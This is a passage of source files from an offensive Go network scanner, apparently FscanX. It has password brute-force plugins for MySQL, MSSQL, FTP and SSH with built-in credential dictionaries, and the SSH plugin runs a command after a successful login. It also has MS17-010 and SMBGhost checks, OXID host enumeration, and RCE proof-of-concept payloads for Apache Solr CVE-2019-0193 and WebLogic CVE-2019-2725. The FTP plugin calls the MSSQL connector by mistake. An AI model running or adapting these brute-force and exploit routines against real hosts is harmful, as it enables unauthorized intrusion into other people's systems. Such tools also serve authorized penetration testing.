%v", info.HostName, info.Ports, user, pass, err) 24 | _ = errlog 25 | tmperr = err 26 | } 27 | if time.Now().Unix() - starttime > (int64(len(config.Userdict["mysql"])*len(config.Passwords)) * info.TimeOut){ 28 | return err 29 | } 30 | } 31 | } 32 | return tmperr 33 | } 34 | 35 | func mysqlConn(info *config.HostData, user string, pass string) (flag bool, err error) { 36 | flag = false 37 | Host, Port, Username, Password := info.HostName, info.Ports, user, pass 38 | dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.TimeOut)*time.Second) 39 | db, err := sql.Open("mysql", dataSourceName) 40 | if err == nil { 41 | db.SetConnMaxLifetime(time.Duration(info.TimeOut) * time.Second) 42 | db.SetConnMaxIdleTime(time.Duration(info.TimeOut) * time.Second) 43 | db.SetMaxIdleConns(0) 44 | defer db.Close() 45 | err = db.Ping() 46 | if err == nil { 47 | result := fmt.Sprintf("[+] %v:%v [mysql]:%v %v", Host, Port, Username, Password) 48 | fmt.Println(result) 49 | flag = true 50 | } 51 | } 52 | return flag, err 53 | } -------------------------------------------------------------------------------- /webscan/lib/client.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "FscanX/config" 5 | "crypto/tls" 6 | "log" 7 | "net" 8 | "net/http" 9 | "net/url" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | var ( 15 | Client *http.Client 16 | ClientNoRedirect *http.Client 17 | dialTimout = 5 * time.Second 18 | keepAlive = 15 * time.Second 19 | ) 20 | 21 | func Inithttp(webinfo config.WebInfo) { 22 | //PocInfo.Proxy = "http://127.0.0.1:8080" 23 | err := InitHttpClient(webinfo.SetProxy, time.Duration(webinfo.TimeOut)*time.Second) 24 | if err != nil { 25 | log.Fatal(err) 26 | } 27 | } 28 | 29 | func InitHttpClient(DownProxy string, Timeout time.Duration) error { 30 | dialer := &net.Dialer{ 31 | Timeout: dialTimout, 32 | KeepAlive: keepAlive, 33 | } 34 | 35 | tr := &http.Transport{ 36 | DialContext: dialer.DialContext, 37 | MaxConnsPerHost: 0, 38 | MaxIdleConns: 0, 39 | IdleConnTimeout: keepAlive, 40 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 41 | TLSHandshakeTimeout: 5 * time.Second, 42 | DisableKeepAlives: false, 43 | } 44 | if DownProxy != "" { 45 | if DownProxy == "1" { 46 | DownProxy = "http://127.0.0.1:8080" 47 | } else if !strings.Contains(DownProxy, "://") { 48 | DownProxy = "http://127.0.0.1:" + DownProxy 49 | } 50 | u, err := url.Parse(DownProxy) 51 | if err != nil { 52 | return err 53 | } 54 | tr.Proxy = http.ProxyURL(u) 55 | } 56 | 57 | Client = &http.Client{ 58 | Transport: tr, 59 | Timeout: Timeout, 60 | } 61 | ClientNoRedirect = &http.Client{ 62 | Transport: tr, 63 | Timeout: Timeout, 64 | CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, 65 | } 66 | return nil 67 | } -------------------------------------------------------------------------------- /plugin/mssql.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "database/sql" 6 | "fmt" 7 | _ "github.com/denisenkom/go-mssqldb" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func MssqlScan(info *config.HostData) (tmperr error) { 13 | var starttime = time.Now().Unix() 14 | // 遍历字典用户名 15 | for _,user := range config.Userdict["mssql"]{ 16 | // 遍历密码字典 17 | for _ ,pass := range config.Passwords { 18 | pass = strings.Replace(pass,"{user}",user,-1) 19 | flag, err := mssqlConn(info,user,pass) 20 | if flag == true && err == nil { 21 | return nil 22 | }else{ 23 | errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.HostName, info.Ports, user, pass, err) 24 | _ = errlog 25 | tmperr = err 26 | } 27 | if time.Now().Unix() - starttime > (int64(len(config.Userdict["mssql"])*len(config.Passwords)) * info.TimeOut){ 28 | return err 29 | } 30 | } 31 | } 32 | return tmperr 33 | } 34 | 35 | func mssqlConn(info *config.HostData, user string, pass string) (flag bool, err error) { 36 | flag = false 37 | Host, Port, Username, Password := info.HostName, info.Ports, user, pass 38 | dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.TimeOut)*time.Second) 39 | db, err := sql.Open("mssql", dataSourceName) 40 | if err == nil { 41 | db.SetConnMaxLifetime(time.Duration(info.TimeOut) * time.Second) 42 | db.SetConnMaxIdleTime(time.Duration(info.TimeOut) * time.Second) 43 | db.SetMaxIdleConns(0) 44 | defer db.Close() 45 | err = db.Ping() 46 | if err == nil { 47 | result := fmt.Sprintf("[+] %v:%v [mssql]:%v %v", Host, Port, Username, Password) 48 | fmt.Println(result) 49 | flag = true 50 | } 51 | } 52 | return flag, err 53 | } -------------------------------------------------------------------------------- /plugin/ftp.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "fmt" 6 | "github.com/jlaffaye/ftp" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | func FtpScan(info *config.HostData)(tmperr error){ 12 | var starttime = time.Now().Unix() 13 | // 遍历字典用户名 14 | for _,user := range config.Userdict["ftp"]{ 15 | // 遍历密码字典 16 | for _ ,pass := range config.Passwords { 17 | pass = strings.Replace(pass,"{user}",user,-1) 18 | flag, err := mssqlConn(info,user,pass) 19 | if flag == true && err == nil { 20 | return nil 21 | }else{ 22 | errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.HostName, info.Ports, user, pass, err) 23 | _ = errlog 24 | tmperr = err 25 | } 26 | if time.Now().Unix() - starttime > (int64(len(config.Userdict["ftp"])*len(config.Passwords)) * info.TimeOut){ 27 | return err 28 | } 29 | } 30 | } 31 | return tmperr 32 | } 33 | 34 | func FtpConn(info *config.HostData, user string, pass string) (flag bool, err error) { 35 | flag = false 36 | Host, Port, Username, Password := info.HostName, info.Ports, user, pass 37 | conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.TimeOut)*time.Second) 38 | if err == nil { 39 | err = conn.Login(Username, Password) 40 | if err == nil { 41 | flag = true 42 | result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password) 43 | dirs, err := conn.List("") 44 | //defer conn.Logout() 45 | if err == nil { 46 | if len(dirs) > 0 { 47 | for i := 0; i < len(dirs); i++ { 48 | if len(dirs[i].Name) > 50 { 49 | result += "\n [->]" + dirs[i].Name[:50] 50 | } else { 51 | result += "\n [->]" + dirs[i].Name 52 | } 53 | if i == 5 { 54 | break 55 | } 56 | } 57 | } 58 | } 59 | fmt.Println(result) 60 | } 61 | } 62 | return flag, err 63 | } -------------------------------------------------------------------------------- /plugin/portscan.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "fmt" 6 | "net" 7 | "sync" 8 | "time" 9 | ) 10 | 11 | var mutex sync.Mutex 12 | 13 | // 对存活主机的IP列表进行并发处理 14 | 15 | func PortScan(thread int64,ports []int,iplist []string)[]config.PortResult{ 16 | var result []config.PortResult 17 | if len(ports) != 0 && len(iplist) != 0 { 18 | var hostchan = make(chan string) 19 | var wg sync.WaitGroup 20 | go func() { 21 | for _, ip := range iplist{ 22 | hostchan <- ip 23 | } 24 | defer close(hostchan) 25 | }() 26 | for i:=0;i.*?)"' 11 | - method: POST 12 | path: >- 13 | /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}*{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E 14 | headers: 15 | Content-Type: text/html 16 | body: |- 17 | 18 | 19 | 20 | 21 | 22 | follow_redirects: false 23 | expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) 24 | detail: 25 | author: fnmsd(https://github.com/fnmsd) 26 | solr_version: '<8.1.12' 27 | vulnpath: '/solr/{{core}}/dataimport' 28 | description: 'Apache Solr DataImportHandler Remote Code Execution Vulnerability(CVE-2019-0193)' 29 | links: 30 | - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193 31 | -------------------------------------------------------------------------------- /plugin/oxid.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "bytes" 6 | "encoding/hex" 7 | "fmt" 8 | "net" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | var ( 14 | bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") 15 | bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") 16 | bufferV3, _ = hex.DecodeString("0900ffff0000") 17 | ) 18 | 19 | func Findnet(info *config.HostData) error { 20 | err := FindnetScan(info) 21 | if err!=nil { 22 | fmt.Println("[*] ",info.HostName) 23 | } 24 | return err 25 | } 26 | 27 | func FindnetScan(info *config.HostData) error { 28 | realhost := fmt.Sprintf("%s:%v", info.HostName, 135) 29 | conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.TimeOut)*time.Second) 30 | if err != nil { 31 | return err 32 | } 33 | err = conn.SetDeadline(time.Now().Add(time.Duration(info.TimeOut) * time.Second)) 34 | if err != nil { 35 | return err 36 | } 37 | defer conn.Close() 38 | _, err = conn.Write(bufferV1) 39 | if err != nil { 40 | return err 41 | } 42 | reply := make([]byte, 4096) 43 | _, err = conn.Read(reply) 44 | if err != nil { 45 | return err 46 | } 47 | _, err = conn.Write(bufferV2) 48 | if err != nil { 49 | return err 50 | } 51 | if n, err := conn.Read(reply); err != nil || n < 42 { 52 | return err 53 | } 54 | text := reply[42:] 55 | flag := true 56 | for i := 0; i < len(text)-5; i++ { 57 | if bytes.Equal(text[i:i+6], bufferV3) { 58 | text = text[:i-4] 59 | flag = false 60 | break 61 | } 62 | } 63 | if flag { 64 | return err 65 | } 66 | err = read(text, info.HostName) 67 | return err 68 | } 69 | func read(text []byte, host string) error { 70 | encodedStr := hex.EncodeToString(text) 71 | hostnames := strings.Replace(encodedStr, "0700", "", -1) 72 | hostname := strings.Split(hostnames, "000000") 73 | result := "[*] " + host 74 | for i := 0; i < len(hostname); i++ { 75 | hostname[i] = strings.Replace(hostname[i], "00", "", -1) 76 | host, err := hex.DecodeString(hostname[i]) 77 | if err != nil { 78 | return err 79 | } 80 | result += "\n [*]->[OXID] " + string(host) 81 | } 82 | fmt.Println(result) 83 | return nil 84 | } -------------------------------------------------------------------------------- /webscan/pocs/weblogic-v12-cve-2019-2725.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weblogic-cve-2019-2725 # nolint[:namematch] 2 | rules: 3 | - method: POST 4 | path: /wls-wsat/CoordinatorPortType 5 | headers: 6 | Content-Type: text/xml 7 | body: >- 8 | fffhelloorg.slf4j.ext.EventDataconnectionHandlertrue505053555551485749]]> 9 | follow_redirects: true 10 | expression: > 11 | response.body.bcontains(b"225773091") 12 | detail: 13 | vulnpath: '/wls-wsat/CoordinatorPortType' 14 | author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166) 15 | description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData' 16 | weblogic_version: '>12' 17 | links: 18 | - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 19 | - https://github.com/QAX-A-Team/WeblogicEnvironment 20 | - https://xz.aliyun.com/t/5299 -------------------------------------------------------------------------------- /plugin/ssh.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "errors" 6 | "fmt" 7 | "golang.org/x/crypto/ssh" 8 | "io/ioutil" 9 | "net" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | func SshScan(info *config.HostData)(tmperr error) { 15 | var starttime = time.Now().Unix() 16 | // 遍历字典用户名 17 | for _,user := range config.Userdict["ssh"]{ 18 | // 遍历密码字典 19 | for _ ,pass := range config.Passwords { 20 | pass = strings.Replace(pass,"{user}",user,-1) 21 | flag, err := sshConn(info,user,pass) 22 | if flag == true && err == nil { 23 | return nil 24 | }else{ 25 | errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.HostName, info.Ports, user, pass, err) 26 | _ = errlog 27 | tmperr = err 28 | } 29 | if time.Now().Unix() - starttime > (int64(len(config.Userdict["ssh"])*len(config.Passwords)) * info.TimeOut){ 30 | return err 31 | } 32 | } 33 | } 34 | return tmperr 35 | } 36 | func sshConn(info *config.HostData, user string, pass string) (flag bool, err error) { 37 | flag = false 38 | Host, Port, Username, Password := info.HostName, info.Ports, user, pass 39 | Auth := []ssh.AuthMethod{} 40 | if info.SshKey != "" { 41 | pemBytes, err := ioutil.ReadFile(info.SshKey) 42 | if err != nil { 43 | return false, errors.New("read key failed " + err.Error()) 44 | } 45 | signer, err := ssh.ParsePrivateKey(pemBytes) 46 | if err != nil { 47 | return false, errors.New("parse key failed " + err.Error()) 48 | } 49 | Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} 50 | } else { 51 | Auth = []ssh.AuthMethod{ssh.Password(Password)} 52 | } 53 | 54 | config := &ssh.ClientConfig{ 55 | User: Username, 56 | Auth: Auth, 57 | Timeout: time.Duration(info.TimeOut) * time.Second, 58 | HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { 59 | return nil 60 | }, 61 | } 62 | 63 | client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config) 64 | if err == nil { 65 | defer client.Close() 66 | session, err := client.NewSession() 67 | if err == nil { 68 | defer session.Close() 69 | flag = true 70 | var result string 71 | if info.Command != "" { 72 | combo, _ := session.CombinedOutput(info.Command) 73 | result = fmt.Sprintf("[+] %v:%v [SSH] %v %v \n %v", Host, Port, Username, Password, string(combo)) 74 | if info.SshKey != "" { 75 | result = fmt.Sprintf("[+] %v:%v [SSH] sshkey correct \n %v", Host, Port, string(combo)) 76 | } 77 | fmt.Println(result) 78 | } else { 79 | result = fmt.Sprintf("[+] %v:%v [SSH] %v %v", Host, Port, Username, Password) 80 | if info.SshKey != "" { 81 | result = fmt.Sprintf("[+] %v:%v [SSH] sshkey correct", Host, Port) 82 | } 83 | fmt.Println(result) 84 | } 85 | } 86 | } 87 | return flag, err 88 | } -------------------------------------------------------------------------------- /config/data.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | // ms17010 和 smbghost 的info结构体 4 | 5 | type HostData struct { 6 | HostName string 7 | TimeOut int64 8 | Ports int 9 | SshKey string 10 | ScanType string 11 | Command string 12 | } 13 | 14 | // 接收参数的标志结构体 15 | 16 | type EnterFlag struct { 17 | ScanHost string 18 | NoPing bool 19 | ScanType string 20 | Thread int64 21 | Ports string 22 | Fragile bool 23 | Netbios bool 24 | Sshkey string 25 | } 26 | 27 | // portscan扫描结果 28 | 29 | type PortResult struct { 30 | IP string 31 | Port []int 32 | } 33 | 34 | // webc初始化设置的结构体 35 | 36 | type WebInfo struct { 37 | SetProxy string 38 | TimeOut int64 39 | SetCookie string 40 | Fragile bool 41 | PocName string 42 | Target string 43 | } 44 | 45 | var ( 46 | RedisShell string 47 | RedisFile string 48 | WebConfig WebInfo 49 | ) 50 | 51 | // 扫描的默认端口 52 | 53 | var WebPorts = []int{80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1118,1888,2008,2020,2100,2375,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018} 54 | // 默认扫描的端口 55 | 56 | var DefaultPorts = []int{21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017} 57 | // 设置爆破所需要的用户名字典 58 | 59 | var Userdict = map[string][]string{ 60 | "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data","anonymous"}, 61 | "mysql": {"root", "mysql"}, 62 | "mssql": {"sa", "sql"}, 63 | "smb": {"administrator", "admin", "guest"}, 64 | "postgresql": {"postgres", "admin"}, 65 | "ssh": {"root", "admin","kali"}, 66 | "mongodb": {"root", "admin"}, 67 | } 68 | // 设置爆破所需要的密码字典 69 | 70 | var Passwords = []string{"kali","anonymous","123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456"} -------------------------------------------------------------------------------- /plugin/smbghost.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "bytes" 6 | "fmt" 7 | "net" 8 | "time" 9 | ) 10 | 11 | const ( 12 | pkt = "\x00" + // session 13 | "\x00\x00\xc0" + // legth 14 | "\xfeSMB@\x00" + // protocol 15 | //[MS-SMB2]: SMB2 NEGOTIATE Request 16 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 17 | "\x00\x00" + 18 | "\x00\x00" + 19 | "\x00\x00" + 20 | "\x00\x00" + 21 | "\x1f\x00" + 22 | "\x00\x00\x00\x00" + 23 | "\x00\x00\x00\x00" + 24 | "\x00\x00\x00\x00" + 25 | "\x00\x00\x00\x00" + 26 | "\x00\x00\x00\x00" + 27 | "\x00\x00\x00\x00" + 28 | "\x00\x00\x00\x00" + 29 | "\x00\x00\x00\x00" + 30 | "\x00\x00\x00\x00" + 31 | "\x00\x00\x00\x00" + 32 | "\x00\x00\x00\x00" + 33 | "\x00\x00\x00\x00" + 34 | // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT 35 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7 36 | "$\x00" + 37 | "\x08\x00" + 38 | "\x01\x00" + 39 | "\x00\x00" + 40 | "\x7f\x00\x00\x00" + 41 | "\x00\x00\x00\x00" + 42 | "\x00\x00\x00\x00" + 43 | "\x00\x00\x00\x00" + 44 | "\x00\x00\x00\x00" + 45 | "x\x00" + 46 | "\x00\x00" + 47 | "\x02\x00" + 48 | "\x00\x00" + 49 | "\x02\x02" + 50 | "\x10\x02" + 51 | "\x22\x02" + 52 | "$\x02" + 53 | "\x00\x03" + 54 | "\x02\x03" + 55 | "\x10\x03" + 56 | "\x11\x03" + 57 | "\x00\x00\x00\x00" + 58 | // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES 59 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 60 | "\x01\x00" + 61 | "&\x00" + 62 | "\x00\x00\x00\x00" + 63 | "\x01\x00" + 64 | "\x20\x00" + 65 | "\x01\x00" + 66 | "\x00\x00\x00\x00" + 67 | "\x00\x00\x00\x00" + 68 | "\x00\x00\x00\x00" + 69 | "\x00\x00\x00\x00" + 70 | "\x00\x00\x00\x00" + 71 | "\x00\x00\x00\x00" + 72 | "\x00\x00\x00\x00" + 73 | "\x00\x00\x00\x00" + 74 | "\x00\x00" + 75 | // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES 76 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271 77 | "\x03\x00" + 78 | "\x0e\x00" + 79 | "\x00\x00\x00\x00" + 80 | "\x01\x00" + //CompressionAlgorithmCount 81 | "\x00\x00" + 82 | "\x01\x00\x00\x00" + 83 | "\x01\x00" + //LZNT1 84 | "\x00\x00" + 85 | "\x00\x00\x00\x00" 86 | ) 87 | 88 | func SMBGHOST(info *config.HostData) error { 89 | var err = smbghostScan(info) 90 | if err != nil { 91 | return err 92 | } 93 | return nil 94 | } 95 | 96 | func smbghostScan(info *config.HostData) error { 97 | var addr = fmt.Sprintf("%s:%v",info.HostName,445) 98 | conn, err := net.DialTimeout("tcp",addr,time.Duration(info.TimeOut)*time.Second) 99 | if err != nil { 100 | return err 101 | } 102 | _, err = conn.Write([]byte(pkt)) 103 | if err != nil { 104 | return err 105 | } 106 | var buf = make([]byte,1024) 107 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)*time.Second)) 108 | n, err := conn.Read(buf) 109 | if err != nil { 110 | return err 111 | } 112 | defer func(){ 113 | _ = conn.Close() 114 | }() 115 | if bytes.Contains(buf[:n],[]byte("Public")){ 116 | result := fmt.Sprintf("[+] %s [CVE-2020-0796]",info.HostName) 117 | fmt.Println(result) 118 | } 119 | return nil 120 | } -------------------------------------------------------------------------------- /plugin/icmp.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "bytes" 5 | "net" 6 | "os/exec" 7 | "runtime" 8 | "strings" 9 | "sync" 10 | "time" 11 | ) 12 | 13 | var ( 14 | Os string 15 | IsAlive []string 16 | ) 17 | func init(){ 18 | Os = runtime.GOOS 19 | } 20 | 21 | func PingScan(thread int64,hostlist []string,noping bool)[]string{ 22 | var wg sync.WaitGroup 23 | 24 | var hostchan = make(chan string) 25 | // 创建信道持续向其中写入ip 26 | go func() { 27 | for _, ip := range hostlist{ 28 | hostchan <- ip 29 | } 30 | defer close(hostchan) 31 | }() 32 | // 采用并发的方式来读取ip,之后进行icmp的扫描 33 | for i:=0;i/dev/null && echo true || echo false") 65 | break 66 | case "darwin": 67 | cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+host+" >/dev/null && echo true || echo false") 68 | break 69 | default: 70 | cmd = nil 71 | } 72 | var outinfo = bytes.Buffer{} 73 | if cmd != nil { 74 | cmd.Stdout = &outinfo 75 | var err = cmd.Start() 76 | if err != nil { 77 | return false 78 | } 79 | if err = cmd.Wait(); err != nil { 80 | return false 81 | }else{ 82 | if strings.Contains(outinfo.String(),"true"){ 83 | return true 84 | }else{ 85 | return false 86 | } 87 | } 88 | }else{ 89 | return false 90 | } 91 | } 92 | 93 | // 利用icmp协议来判断主机是否存货 94 | 95 | func icmps(host string) (bool) { 96 | conn, err := net.DialTimeout("ip4:icmp",host,3*time.Second) 97 | if err != nil { 98 | return false 99 | } 100 | defer func() { 101 | _ = conn.Close() 102 | }() 103 | if err := conn.SetDeadline(time.Now().Add(3*time.Second)); err != nil { 104 | return false 105 | } 106 | msg := packet(host) 107 | if _, err := conn.Write(msg);err != nil { 108 | return false 109 | } 110 | var receive = make([]byte,60) 111 | if _, err := conn.Read(receive);err != nil { 112 | return false 113 | } 114 | return true 115 | } 116 | 117 | func packet(host string)[]byte{ 118 | var msg = make([]byte,40) 119 | msg[0] = 8 120 | msg[1] = 0 121 | msg[2] = 0 122 | msg[3] = 0 123 | msg[4],msg[5] = host[0],host[1] 124 | msg[6],msg[7] = byte(1 >> 8),byte(1 & 255) 125 | msg[2] = byte(checksum(msg[0:40]) >> 8) 126 | msg[3] = byte(checksum(msg[0:40]) & 255) 127 | return msg 128 | } 129 | 130 | func checksum(msg []byte)uint16 { 131 | var sum = 0 132 | var length = len(msg) 133 | for i:=0;i> 16) + (sum & 0xffff) 140 | sum = sum + (sum >> 16) 141 | return uint16(^sum) 142 | } -------------------------------------------------------------------------------- /plugin/MS-17010.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "encoding/binary" 6 | "encoding/hex" 7 | "errors" 8 | "fmt" 9 | "net" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | var( 15 | negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200") 16 | sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000") 17 | treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00") 18 | transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00") 19 | trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") 20 | ) 21 | 22 | func ms17070Scan(info *config.HostData) error { 23 | var addr = fmt.Sprintf("%s:%v",info.HostName,445) 24 | conn, err := net.DialTimeout("tcp",addr,time.Duration(info.TimeOut)*time.Second) 25 | if err != nil { 26 | return err 27 | } 28 | defer func() { 29 | _ = conn.Close() 30 | }() 31 | err = conn.SetDeadline(time.Now().Add(time.Duration(info.TimeOut)*time.Second)) 32 | if err != nil{ 33 | return err 34 | } 35 | _ , err = conn.Write(negotiateProtocolRequest) 36 | if err != nil { 37 | return err 38 | } 39 | var reply = make([]byte,1024) 40 | n, err := conn.Read(reply) 41 | if err != nil || n < 36 { 42 | return err 43 | } 44 | if binary.LittleEndian.Uint32(reply[9:13]) != 0{ 45 | return err 46 | } 47 | _, err = conn.Write(sessionSetupRequest) 48 | if err != nil { 49 | return err 50 | } 51 | n, err = conn.Read(reply) 52 | if err != nil || n < 36{ 53 | return err 54 | } 55 | if binary.LittleEndian.Uint32(reply[9:13]) !=0 { 56 | return errors.New("can't determine whether target is vulnerable or not") 57 | } 58 | var os string 59 | var sessionSetupResponse = reply[36:n] 60 | if wordCount := sessionSetupResponse[0];wordCount != 0{ 61 | byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) 62 | if n != int(byteCount) + 45 { 63 | fmt.Println("[-]", info.HostName + ":445", "ms17010 invalid session setup AndX response") 64 | }else{ 65 | for i:= 0;i 255 || err != nil { 79 | return []string{},errors.New("input format is not ccorrect") 80 | } 81 | var splitip = strings.Split(ip4[0],".") 82 | ip1, err1 := strconv.Atoi(splitip[3]) 83 | ip2, err2 := strconv.Atoi(ip4[1]) 84 | prefixip := strings.Join(splitip[0:3],".") 85 | if ip1 > ip2 || err1 != nil || err2 != nil { 86 | return []string{},errors.New("input format is not ccorrect") 87 | } 88 | for i:=ip1;i<=ip2;i++{ 89 | temp = append(temp,prefixip + "." + strconv.Itoa(i)) 90 | } 91 | }else{ 92 | var splitip1 = strings.Split(ip4[0],".") 93 | var splitip2 = strings.Split(ip4[1],".") 94 | if len(splitip1) != 4 || len(splitip2) != 4 { 95 | return []string{},errors.New("input format is not 